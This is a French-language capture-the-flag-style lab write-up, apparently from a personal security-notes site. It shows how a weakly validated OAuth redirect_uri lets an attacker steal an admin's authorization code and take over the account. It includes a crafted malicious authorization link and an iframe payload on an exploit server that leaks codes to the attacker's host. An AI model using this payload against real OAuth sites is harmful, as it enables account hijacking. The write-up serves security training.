> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Détournement de compte OAuth via redirect\_uri

### Détournement de compte OAuth via Redirect/\_uri

**Objectif du labo**

Ce laboratoire montre comment une mauvaise configuration de `redirect_uri` paramètre dans un flux OAuth permet à un attaquant de voler **les codes d'autorisation** associés au compte d'un autre utilisateur.

**Mais finalement :**

* Intercepter un code d'autorisation OAuth appartenant à un utilisateur **admin**
* Utiliser ce code pour accéder à son compte
* Supprimer l'utilisateur **carlos**

**Contexte et conditions**

* Le site permet l'authentification via un fournisseur OAuth (réseau social).
* Utilisateur **admin**:
* Ouvre n'importe quel lien provenant du serveur d'exploitation.
* A déjà une session active avec le fournisseur OAuth.
* Identifiants fournis :
* Compte social de l'attaquant : `wiener:peter`

<figure><img src="/files/78fb77f2fd525d0d16138883cde6045053377f66" alt=""><figcaption></figcaption></figure>

**Analyse du flux OAuth**

Lorsqu'un utilisateur se connecte via OAuth, l'application envoie une requête semblable à :

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Le point critique est que **Le fournisseur OAuth n'exige pas de validation stricte de `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validation de la vulnérabilité**

En modifiant le `redirect_uri` paramètre vers un domaine arbitraire, par exemple :

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/3e427d2c7b3c60f893d1cdd717e583d2c7e38927" alt=""><figcaption></figcaption></figure>

le comportement suivant est observé :

* Le fournisseur OAuth redirige bien vers ce champ
* **OAuth** le code d'autorisation est inclus dans l'URL de redirection

Cela confirme que `redirect_uri` est exploitable.

**Exploitation**

L'objectif est maintenant de forcer l'administrateur à lancer une authentification OAuth dont la redirection pointe vers \*\* le serveur d'exploitation\*\* de l'attaquant.

Lien OAuth malveillant utilisé :

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Ce lien est intégré dans une page du serveur d'exploitation à l'aide d'une iframe :

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Récupération du code d'autorisation**

Lorsque l'administrateur ouvre la page :

* Le flux OAuth s'exécute automatiquement
* Le fournisseur OAuth redirige vers le serveur d'exploitation
* \*\*les journaux du serveur d'exploitation\*\* contiennent plusieurs codes OAuth

Le **dernier code reçu** est utilisé, par exemple :

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/a926d831773fbb5320565a63f0eebcf33c963f0d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/63d02184a527fc6118b3fe7c385a3342751a4d0c" alt=""><figcaption></figcaption></figure>

**Résultat**

* Le code d'autorisation est valide
* L'accès au \*\*compte administrateur\*\* est obtenu

<figure><img src="/files/17bfa5a078305ee78d06d3eb62543a44c4c821f5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
